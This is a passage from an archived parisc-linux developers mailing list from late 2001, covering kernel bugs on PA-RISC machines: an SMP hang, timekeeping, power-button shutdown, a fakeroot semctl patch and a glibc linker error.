	for <parisc-linux@lists.parisc-linux.org>; Thu, 29 Nov 2001 05:21:07 -0700 (MST)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 5D35EB00D; Thu, 29 Nov 2001 12:22:05 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <1007019927.14588.9.camel@beavis>; from rbradetich@uswest.net on Thu, Nov 29, 2001 at 12:45:26AM -0700
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13230

On Thu, Nov 29, 2001 at 12:45:26AM -0700, Ryan Bradetich wrote:
> Hello parisc-linux hackers,
> 
> I have spent the last couple of evenings exploring new (to me anyways)
> parts of the kernel tracking down a SMP hang on my C200+.  What I found
> appears to be a more generic bug, so I'm posting it here for ideas on
> how to fix it, or for someone to explain to me why this isn't a bug :)

Sounds very similar to the problem I fixed with the led tasklet

#ifdef CONFIG_CHASSIS_LCD_LED
        /* Only schedule the led tasklet on cpu 0, and only if it
         * is enabled.
         */
        if (cpu == 0 && !atomic_read(&led_tasklet.count))
                tasklet_schedule(&led_tasklet);
#endif

where I added the atomic_read() call.  In that case it wasn't hanging
my (UP) machine, but it left ksoftirqd_CPU0 at 100% CPU.

Richard




From - Thu Nov 08 21:20:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] travel backwards in time?
Date: Thu, 29 Nov 2001 11:58:19 -0700
Lines: 23
Approved: news@gmane.org
Message-ID: <200111291858.LAA02339@puffin.external.hp.com>
References: <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620810 30878 80.91.229.3 (22 Nov 2014 01:46:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:50 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov 29 12:02:48 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8C442482C
	for <parisc-linux@parisc-linux.org>; Thu, 29 Nov 2001 12:02:48 -0700 (MST)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id LAA02339
	for <parisc-linux@parisc-linux.org>; Thu, 29 Nov 2001 11:58:19 -0700
In-Reply-To: Message from Randolph Chung <randolph@tausq.org> 
   of "Thu, 18 Oct 2001 13:21:45 PDT." <20011018132145.H4123@tausq.org> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13231

Randolph Chung wrote:
> Recently Grant and I have observed several hangs in do_gettimeofday on a
> c3k running 32 or 64-bit kernels (UP). 
> 
> The symptom we see is gettimeoffset returns a negative number which
> results in a huge (unsigned) usec offset in do_gettimeofday, which ends
> up spinning in a while loop.
...
> The last_tick adjustment looks a bit odd. Looking at ia64, it looks more
> like this:
> 
>         last_tick -= clocktick * (jiffies - wall_jiffies + 1);

For the record, this fix was committed in one of the 2.4.14-pa5
http://lists.parisc-linux.org/pipermail/parisc-linux-cvs/2001-November/030021.html

I'm still not 100% certain all our time keeping code is correct.
But I'm comfortable this patch fixes the problem we saw and
does not introduce any new ones.

grant



From - Thu Nov 08 21:20:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Power button support in kernel 2.4.16-pa4
Date: Fri, 30 Nov 2001 03:47:15 +0100
Lines: 14
Approved: news@gmane.org
Message-ID: <20011130024842.7409B482C@dsl2.external.hp.com>
References: <Pine.LNX.4.21.0111221534400.22553-100000@uranus.theophys.kth.se>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620810 30880 80.91.229.3 (22 Nov 2014 01:46:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:50 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Jurij Smakov <jurijus@theophys.kth.se>,
	"Witvliet, Hans" <Hans.Witvliet@Alcatel.nl>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov 29 19:48:43 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 7409B482C
	for <parisc-linux@lists.parisc-linux.org>; Thu, 29 Nov 2001 19:48:42 -0700 (MST)
Original-Received: (qmail 20405 invoked by uid 0); 30 Nov 2001 02:48:39 -0000
Original-Received: from pd9040347.dip.t-dialin.net (HELO P100.helgenet.de) (217.4.3.71)
  by mail.gmx.net (mp015-rz3) with SMTP; 30 Nov 2001 02:48:39 -0000
X-Mailer: KMail [version 1.3.7]
In-Reply-To: <Pine.LNX.4.21.0111221534400.22553-100000@uranus.theophys.kth.se>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13232

Hi,

I've just committed some changes to the parisc cvs kernel (>= 2.4.16-pa4)
which adds support for the power-button.
Those changes include, that after you pressed the power button the kernel
will initiate a clean system shutdown followed by a complete power-off.
The patches were sucessfully tested on a c300 and 715/64 - and hopefully
they will also work for other machines - if not, please let me know.

Greetings,
Helge




From - Thu Nov 08 21:20:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] fakeroot broken (by shm changes?)
Date: Fri, 30 Nov 2001 05:17:57 +0000
Lines: 13
Approved: news@gmane.org
Message-ID: <20011130051757.B10729@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620810 30882 80.91.229.3 (22 Nov 2014 01:46:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:50 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: tsbogend@alpha.franken.de
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov 29 22:18:02 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1EC6F482E
	for <parisc-linux@parisc-linux.org>; Thu, 29 Nov 2001 22:18:02 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 169g3h-0003r3-00; Fri, 30 Nov 2001 05:17:57 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13233

fakeroot's stopped working since upgrading to the new kernel, so i think
the emulation of the old sysvipc mechanism may be broken.  this is
on paer, running a 64-bit SMP kernel.  i suspect sysvipc rather than
signals because fakeroot is a heavy user of sysvipc and exposed some
kernel bugs before.

i'm not going to be around till monday afternoon (evening your time),
but it's pretty easy to reproduce -- just run `fakeroot echo hello'.

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:20:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: two minor c3k bugs
Date: Fri, 30 Nov 2001 09:46:04 +0100
Lines: 40
Approved: news@gmane.org
Message-ID: <20011130084729.36EC5482C@dsl2.external.hp.com>
References: <200111300743.AAA03588@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620811 30886 80.91.229.3 (22 Nov 2014 01:46:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:51 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@puffin.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov 30 01:47:30 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 36EC5482C
	for <parisc-linux@lists.parisc-linux.org>; Fri, 30 Nov 2001 01:47:29 -0700 (MST)
Original-Received: (qmail 27249 invoked by uid 0); 30 Nov 2001 08:47:27 -0000
Original-Received: from pd9040248.dip.t-dialin.net (HELO P100.helgenet.de) (217.4.2.72)
  by mail.gmx.net (mp003-rz3) with SMTP; 30 Nov 2001 08:47:27 -0000
X-Mailer: KMail [version 1.3.7]
In-Reply-To: <200111300743.AAA03588@puffin.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13234

Forwarded to the list, since it may be of interest for others too:

On Friday 30 November 2001 08:43, Grant Grundler wrote:
> Hi helge!

Hi Grant, 

> It's totally cool that I can shutdown the c3k with just power button!
> playing with 2.4.16-pa5 today I noticed to really minor bugs.
> 1) LCD shows "Linux 2.4.1-pa5" in the top line.
>    UTS_RELEASE is definitely 2.4.16 since uname -a prints that too.
>    It wasn't obvious to me where the "6" was getting lost.
>    I only looked at led.c for a bit - just enough to understand
>    that UTS_RELEASE was used to generate the string.

Hmm, I still have 2.4.16-pa4 here and it definately shows 
"2.4.16-pa4" for me. Maybe a SMP problem ?
You could try to double the size of the udelay() parameter
in lcd_print to see if it cures your problem.

> 2) When powering off with poweroff button, the last msg is
>  "Restarting ...". Are we running the wrong event chain?
>   I haven't had a chance to look at this yet. (reviewing
>   code for bame and dug up the DIAG register access code.)

Currently I use "kill_proc(1, SIGINT, 0);" to kill the init-process -
which is normally a reboot-command and gives the above messages.
That's AFAICS not the right solution, but nfortunately I don't know
how to do it correct right now.
The other thing is, that this call will not work if the init-process
doesn't has PID 1 - this happened to me after a kernel crash, where
init needed to fsck.

> thanks!
> grant

Greetings,
Helge



From - Thu Nov 08 21:20:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Kaj-Michael Lang" <milang@tal.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Parse error when compiling glibc. binutils bug ?
Date: Fri, 30 Nov 2001 16:46:57 +0200
Lines: 67
Approved: news@gmane.org
Message-ID: <001301c179ad$de7c0f60$56dc10c3@amos>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620811 30887 80.91.229.3 (22 Nov 2014 01:46:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:51 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov 30 07:41:48 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from velli.mail.jippii.net (velli.mail.jippii.net [195.197.172.114])
	by dsl2.external.hp.com (Postfix) with ESMTP id B0EEE482C
	for <parisc-linux@lists.parisc-linux.org>; Fri, 30 Nov 2001 07:41:45 -0700 (MST)
Original-Received: from amos (dyn-3-085.tku.netti.fi [195.16.220.86])
	by velli.mail.jippii.net (Postfix) with SMTP id EA920504
	for <parisc-linux@lists.parisc-linux.org>; Fri, 30 Nov 2001 16:41:42 +0200 (EET)
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4807.1700
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13235

I'm trying to compile glibc 2.2.4+plus all the debian patches I could find.
I'm using the
latest H. J. Lu binutils (2.11.92.0.12.3). The error is this:

make[1]: Leaving directory
`/archive/work/talinuxcvs/base/glibc/tmp/glibc-2.2.4/elf'
gcc   -shared -static-libgcc -Wl,-O1  -Wl,-dynamic-linker=/lib/ld.so.1  -Bsy
sdeps/../csu/  -Wl,--version-script=sysdeps/../libc.map -Wl,-soname=libc.so.
6 -Wl,-z,combreloc -nostdlib -nostartfiles -e __libc_main -u
__register_frame -L. -Lsysdeps/../math -Lsysdeps/../elf -Lsysdeps/../dlfcn -
Lsysdeps/../nss -Lsysdeps/../nis -Lsysdeps/../rt -Lsysdeps/../resolv -Lsysde
ps/../crypt -Lsysdeps/../linuxthreads -Wl,-rpath-link=.:sysdeps/../math:sysd
eps/../elf:sysdeps/../dlfcn:sysdeps/../nss:sysdeps/../nis:sysdeps/../rt:sysd
eps/../resolv:sysdeps/../crypt:sysdeps/../linuxthreads -o
sysdeps/../libc.so.new sysdeps/../csu/abi-note.o -Wl,--verbose -lgcc 2>&1 |
sed -e '/^=========/,/^=========/!d;/^=========/d' -e
*\.hash[      ]*:.*$/  .note.ABI-tag : { *(.note.ABI-tag) } &/' >
sysdeps/../libc.so.lds
rm -f sysdeps/../libc.so.new
gcc   -shared -static-libgcc -Wl,-O1  -Wl,-dynamic-linker=/lib/ld.so.1  -Bsy
sdeps/../csu/  -Wl,--version-script=sysdeps/../libc.map -Wl,-soname=libc.so.
6 -Wl,-z,combreloc -nostdlib -nostartfiles -e __libc_main -u
__register_frame -L. -Lsysdeps/../math -Lsysdeps/../elf -Lsysdeps/../dlfcn -
Lsysdeps/../nss -Lsysdeps/../nis -Lsysdeps/../rt -Lsysdeps/../resolv -Lsysde
ps/../crypt -Lsysdeps/../linuxthreads -Wl,-rpath-link=.:sysdeps/../math:sysd
eps/../elf:sysdeps/../dlfcn:sysdeps/../nss:sysdeps/../nis:sysdeps/../rt:sysd
eps/../resolv:sysdeps/../crypt:sysdeps/../linuxthreads -o
sysdeps/../libc.so -T sysdeps/../libc.so.lds sysdeps/../csu/abi-note.o
sysdeps/../elf/soinit.os sysdeps/../libc_pic.os sysdeps/../elf/sofini.os
sysdeps/../elf/interp.os sysdeps/../elf/ld.so -lgcc
/usr/lib/gcc-lib/hppa-linux/3.0.2/../../../../hppa-linux/bin/ld:sysdeps/../l
ibc.so.lds:144: parse error
collect2: ld returned 1 exit status
make: *** [sysdeps/../libc.so] Error 1

and the lines around 145 in libc.so.lds looks like this:

    KEEP (*crtbegin.o(.ctors))
    /* We don't want to include the .ctor section from
       from the crtend.o file until after the sorted ctors.
       The .ctor section from the crtend file contains the
       end of ctors marker and it must be last */
    KEEP (*(EXCLUDE_FILE (*crtend.o ) .ctors))
    KEEP (*(SORT(.ctors.*)))
    KEEP (*(.ctors))
  }
   .dtors         :
  {/usr/lib/gcc-lib/hppa-linux/3.0.2/../../../../hppa-linux/bin/ld: BFD
2.11.92.0.12.3 20011121 assertion fail elf-strtab.c:207
/usr/lib/gcc-lib/hppa-linux/3.0.2/../../../../hppa-linux/bin/ld: BFD
2.11.92.0.12.3 20011121 assertion fail elf-strtab.c:262

    KEEP (*crtbegin.o(.dtors))
    KEEP (*(EXCLUDE_FILE (*crtend.o ) .dtors))
    KEEP (*(SORT(.dtors.*)))
    KEEP (*(.dtors))
  }

145 is the line with the first assertion fail.

Does anyone know what causes it ? Is there a fix ?

--
Kaj-Michael Lang , milang@tal.org




From - Thu Nov 08 21:20:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: fakeroot broken (by shm changes?)
Date: Fri, 30 Nov 2001 23:12:43 +0100
Lines: 70
Approved: news@gmane.org
Message-ID: <20011130231243.A3033@solo.franken.de>
References: <20011130051757.B10729@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620811 30889 80.91.229.3 (22 Nov 2014 01:46:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:51 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov 30 15:14:44 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from solo.franken.de (pD90542DB.dip.t-dialin.net [217.5.66.219])
	by dsl2.external.hp.com (Postfix) with ESMTP id A9618482C
	for <parisc-linux@parisc-linux.org>; Fri, 30 Nov 2001 15:14:42 -0700 (MST)
Original-Received: (from tsbogend@localhost)
	by solo.franken.de (8.11.6/8.11.6) id fAUMChF03078;
	Fri, 30 Nov 2001 23:12:43 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20011130051757.B10729@parcelfarce.linux.theplanet.co.uk>; from willy@debian.org on Fri, Nov 30, 2001 at 05:17:57AM +0000
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13236

On Fri, Nov 30, 2001 at 05:17:57AM +0000, Matthew Wilcox wrote:
> fakeroot's stopped working since upgrading to the new kernel, so i think
> the emulation of the old sysvipc mechanism may be broken.  this is
> on paer, running a 64-bit SMP kernel.  i suspect sysvipc rather than
> signals because fakeroot is a heavy user of sysvipc and exposed some
> kernel bugs before.

semctl (,,SETVAL,) is broken. Below is an untested fix, which is taken
from the old sys32_semctl. So this should fix the problem. Since I don't 
have enough time right now to test it, I'd appriciate if someone with a 
64bit machine (the bug doesn't affect 32bit) could test it. Sorry for 
missing that strange feature of our syscall path and the already existing
workaround for it.

Thomas.


Index: sys_parisc32.c
===================================================================
RCS file: /home/cvs/parisc/linux/arch/parisc/kernel/sys_parisc32.c,v
retrieving revision 1.24
diff -u -r1.24 sys_parisc32.c
--- sys_parisc32.c	2001/11/23 21:54:28	1.24
+++ sys_parisc32.c	2001/11/30 22:06:19
@@ -3040,3 +3040,20 @@
 	return sys_lseek(fd, offset, origin);
 }
 
+asmlinkage long sys32_semctl_broken(int semid, int semnum, int cmd, union semun arg)
+{
+        union semun u;
+	
+	cmd ~= IPC64; /* should be removed together with the _broken suffix */
+
+        if (cmd == SETVAL) {
+                /* Ugh.  arg is a union of int,ptr,ptr,ptr, so is 8 bytes.
+                 * The int should be in the first 4, but our argument
+                 * frobbing has left it in the last 4.
+                 */
+                u.val = *((int *)&arg + 1);
+                return sys_semctl (semid, semnum, cmd, u);
+	}
+	return sys_semctl (semid, semnum, cmd, arg);
+}
+
Index: syscall.S
===================================================================
RCS file: /home/cvs/parisc/linux/arch/parisc/kernel/syscall.S,v
retrieving revision 1.72
diff -u -r1.72 syscall.S
--- syscall.S	2001/11/23 21:54:28	1.72
+++ syscall.S	2001/11/30 22:00:53
@@ -577,7 +577,7 @@
 	ENTRY_DIFF(recvmsg)
 	ENTRY_SAME(semop)		/* 185 */
 	ENTRY_SAME(semget)
-	ENTRY_SAME(semctl_broken)
+	ENTRY_DIFF(semctl_broken)
 	ENTRY_DIFF(msgsnd)
 	ENTRY_DIFF(msgrcv)
 	ENTRY_SAME(msgget)		/* 190 */




-- 
Crap can work. Given enough thrust pigs will fly, but it's not necessary a
good idea.                                 [ Alexander Viro on linux-kernel ]



From - Thu Nov 08 21:20:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: two minor c3k bugs
Date: Fri, 30 Nov 2001 23:11:07 -0700
Lines: 48
Approved: news@gmane.org
Message-ID: <200112010611.XAA11815@puffin.external.hp.com>
References: <deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620811 30890 80.91.229.3 (22 Nov 2014 01:46:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:51 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov 30 23:15:51 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id DF571482C
	for <parisc-linux@lists.parisc-linux.org>; Fri, 30 Nov 2001 23:15:50 -0700 (MST)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id XAA11815;
	Fri, 30 Nov 2001 23:11:07 -0700
In-Reply-To: Message from Helge Deller <deller@gmx.de> 
   of "Fri, 30 Nov 2001 09:46:04 +0100." <200111300843.BAA03660@puffin.external.hp.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13237

Helge Deller wrote:
> Forwarded to the list, since it may be of interest for others too:
> 

sure.

> On Friday 30 November 2001 08:43, Grant Grundler wrote:
...
> Hmm, I still have 2.4.16-pa4 here and it definately shows 
> "2.4.16-pa4" for me. Maybe a SMP problem ?

No. I only build UP kernels for the C3k.

> You could try to double the size of the udelay() parameter
> in lcd_print to see if it cures your problem.

After a reboot it worked fine. Could be a timing problem.
Since I can't reproduce it reliably and it's minor, I'm not
going to chase this. Someday when I get bored and ate too much
chocolate (dark, organic, Belgian from Trader Joe's), I might
try to run IRC on the LCD... ;^)

...
> Currently I use "kill_proc(1, SIGINT, 0);" to kill the init-process -
> which is normally a reboot-command and gives the above messages.

Ok. that makes sense.

> That's AFAICS not the right solution, but nfortunately I don't know
> how to do it correct right now.

./kernel/sys.c:         printk(KERN_EMERG "Power down.\n");

That chunk of code seems to do the right thing:
        case LINUX_REBOOT_CMD_POWER_OFF:
                notifier_call_chain(&reboot_notifier_list, SYS_POWER_OFF, NULL);
                printk(KERN_EMERG "Power down.\n");
                machine_power_off();
                do_exit(0);
                break; 

I know that msg since I regularly "powerdown" my c3k.
Perhaps replicate that code?

cheers,
grant



From - Thu Nov 08 21:20:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
